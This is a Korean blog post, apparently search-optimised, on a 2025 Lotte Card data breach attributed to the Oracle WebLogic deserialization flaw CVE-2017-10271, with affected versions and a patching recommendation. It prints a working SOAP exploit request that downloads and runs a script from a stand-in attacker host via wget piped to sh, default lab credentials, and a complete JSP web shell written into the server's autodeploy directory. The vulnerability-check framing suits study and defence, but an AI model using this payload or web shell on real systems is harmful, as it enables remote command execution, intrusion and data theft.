롯데카드 해킹 사고와 CVE 2017 10271 취약점 점검



롯데카드 해킹 사고와 CVE 2017 10271 취약점 점검

2025년 8월, 롯데카드의 내부 결제 시스템에서 약 1.7GB의 데이터가 유출되는 사고가 발생했습니다. 다행히 이는 랜섬웨어 공격으로 이어지지 않아 서비스 이용에는 큰 지장이 없었습니다. 이번 사건의 원인은 Oracle WebLogic Server의 원격 코드 실행(RCE) 취약점인 CVE-2017-10271에 있습니다.

 

👉 ✅ 상세 정보 바로 확인 👈

 

해킹 경로와 취약점 개요

Oracle WebLogic Server란?

WebLogic은 Java EE 기반의 애플리케이션 서버 플랫폼으로, HTTP 웹 서버, 포털, 애플리케이션 통합 서비스 등을 포함합니다. 관리자는 WebLogic Scripting Tool(WLST)을 통해 원격으로 서버를 관리합니다. 기본적으로 T3 프로토콜을 사용하며 7001 포트를 통해 요청을 수신합니다. 그러나 이 과정에서 사용자가 직렬화된 객체를 서버로 전송할 수 있어, 해당 취약점이 존재할 경우 입력값 검증이 부족하여 공격자가 임의의 명령을 실행할 수 있습니다.



영향 받는 WebLogic 버전

  • 10.3.3.0
  • 10.3.6.0
  • 12.2.1.1
  • 12.2.1.2
  • 12.1.3.0

 

👉 ✅ 상세 정보 바로 확인 👈

 

취약점 기술적 분석

CVE-2017-10271 취약점은 SOAP 프로토콜을 이용한 XML 페이로드 처리 과정에서 발생합니다. 공격자는 SOAP Request의 특정 태그에 악성 데이터를 삽입할 수 있으며, WebLogic 서버가 이를 검증하지 않고 실행하게 됩니다. 특히, WS-Coordination 및 WS-AtomicTransaction 기능에서 data가 xmlDecoder.readObject()를 통해 검증 없이 역직렬화되면서 공격자가 삽입한 객체가 실행될 수 있습니다.

실제 공격 패킷 예시

아래는 공격자가 사용할 수 있는 SOAP 요청의 예시입니다.
xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>wget -q http://malicious.site/pkgs.sh -O- | sh</string></void>
</array>
<void method="start"/>
</java>
</work:WorkContext>
</soapenv:Header>
</soapenv:Envelope>

위의 XML 요청은 외부 서버에서 악성 스크립트를 다운로드하고 실행하는 동작을 수행합니다.

취약점 점검 방법

점검 환경 설정

  • 도커를 이용하여 WebLogic 환경을 설정할 수 있습니다.
  • 아래 명령어를 통해 환경을 구성합니다.
    bash
    docker run -d -p 7001:7001 vulhub/weblogic:10.3.6.0-2017
  • 기본 로그인 정보는 weblogic/Oracle@123입니다.

취약점 점검 스크립트

CVE-2017-10271 취약점을 점검하기 위한 Python 스크립트를 작성할 수 있습니다. 아래는 기본적인 스크립트의 구조입니다.
“`python
import requests
from urllib.parse import urlparse

def validate_url(url):
# URL 유효성 검증 코드

def check_weblogic_service(base_url):
# WebLogic 서비스 존재 여부 확인 코드

def payload_command(command_in):
# SOAP 페이로드 생성 코드

주 함수

def main():
# 사용자가 입력한 URL에 대한 점검 로직
“`

웹쉘 생성 및 실행

JSP 웹쉘을 생성하여 원격에서 명령을 실행할 수 있습니다. 아래의 명령어로 웹쉘을 생성할 수 있습니다.
bash
printf '%s\n' '<%@ page import="java.util.*,java.io.*"%>' '<%' '%>' '<><BODY>' 'Commands with JSP' '<FORM METHOD="GET" NAME="myform" ACTION="">' '<INPUT TYPE="text" NAME="cmd">' '<INPUT TYPE="submit" VALUE="Send">' '</FORM>' '<pre>' '<%' 'if (request.getParameter("cmd") != null) {' 'out.println("Command: " + request.getParameter("cmd") + "<BR>");' 'Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));' 'OutputStream os = p.getOutputStream();' 'InputStream in = p.getInputStream();' 'DataInputStream dis = new DataInputStream(in);' 'String disr = dis.readLine();' 'while ( disr != null ) {' 'out.println(disr);' 'disr = dis.readLine();' '}' '}' '%>' '</pre>' '</BODY>' > /root/Oracle/Middleware/user_projects/domains/base_domain/autodeploy/shell/redchupa.jsp

자주 묻는 질문

롯데카드 해킹 사건의 원인은 무엇인가요?

이번 해킹 사건은 Oracle WebLogic Server의 CVE-2017-10271 취약점 때문입니다.

어떤 WebLogic 버전이 취약한가요?

10.3.3.0, 10.3.6.0, 12.2.1.1, 12.2.1.2, 12.1.3.0 버전이 취약합니다.

취약점 점검을 위해 어떤 도구가 필요하나요?

Python과 requests 라이브러리를 사용하여 취약점을 점검할 수 있는 스크립트를 작성할 수 있습니다.

점검 후 조치는 어떻게 해야 하나요?

즉시 WebLogic 보안 패치를 적용하고, WSAT 서비스 비활성화를 검토해야 합니다.

웹셸을 통해 어떤 작업을 할 수 있나요?

웹셸을 통해 원격에서 명령을 실행하고, 시스템 정보 및 파일을 조회할 수 있습니다.

이전 글: 황영웅 대구 콘서트 예매 안내